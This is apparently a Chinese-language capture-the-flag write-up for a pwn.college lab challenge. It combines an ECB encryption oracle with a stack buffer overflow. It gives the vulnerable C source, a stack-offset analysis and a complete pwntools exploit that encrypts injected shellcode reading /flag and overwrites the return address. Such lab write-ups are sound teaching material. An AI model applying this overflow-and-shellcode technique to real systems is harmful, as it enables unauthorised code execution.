PwnCollege - IS ECB-to-Shellcode (easy)

与 ECB-to-Win 类似的 ECB oracle + buffer overflow,但没有 win() 函数,需要注入 shellcode 并跳转执行。栈可执行。

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int challenge(int argc, char **argv, char **envp)
{
unsigned char key[16];
struct
{
char header[8];
unsigned long long length;
char message[48]; // 比 win 版本更小
} plaintext = {0};

// ... 同样的 ECB 解密流程 ...

// buffer overflow
EVP_DecryptUpdate(ctx, plaintext.message, &decrypted_len,
ciphertext + 16, ciphertext_len - 16);

// 会打印反汇编后的 shellcode 和栈布局
print_disassembly(plaintext.message, decrypted_len);
}

Analysis

从 stack dump 中读取关键信息:

1
2
3
| 0x7fffffffec90 (rsp+0x0040) | message buffer 开始 (shellcode 放这里)
| ... | 104 bytes to saved rip
| 0x7fffffffecf8 (rsp+0x00a8) | saved return address
  • buffer 起始: 0x7fffffffec90
  • offset = 0xa8 - 0x40 = 104 bytes
  • 栈地址固定(ASLR 未随机化栈),直接将返回地址覆盖为 buffer 起始地址

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python3
from Crypto.Util.Padding import pad
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "info"

OFFSET = 104
BUFFER_ADDR = 0x7fffffffec90


def encrypt_block(block_data):
p = process(["/challenge/dispatch"], level="error")
p.send(block_data)
p.shutdown("send")
ct = p.recvall()
p.close()
return ct[16:32]


def build_payload():
shellcode = asm(shellcraft.cat("/flag"))

# shellcode + nop sled + return address
raw_payload = shellcode.ljust(OFFSET, b"\x90") + p64(BUFFER_ADDR)

# 获取合法的第一个 block 密文
p_init = process(["/challenge/dispatch"], level="error")
p_init.send(b"\x90" * 16)
p_init.shutdown("send")
first_block_ct = p_init.recvall()[:16]
p_init.close()

padded_payload = pad(raw_payload, 16)
final_ct = first_block_ct
for i in range(0, len(padded_payload), 16):
final_ct += encrypt_block(padded_payload[i : i + 16])

log.success(f"Payload length: {len(final_ct)} bytes")
return final_ct


def exploit():
payload = build_payload()
target = process("/challenge/vulnerable-overflow", env={})
target.send(payload)
target.shutdown("send")
print(target.recvall().decode(errors="ignore"))


if __name__ == "__main__":
exploit()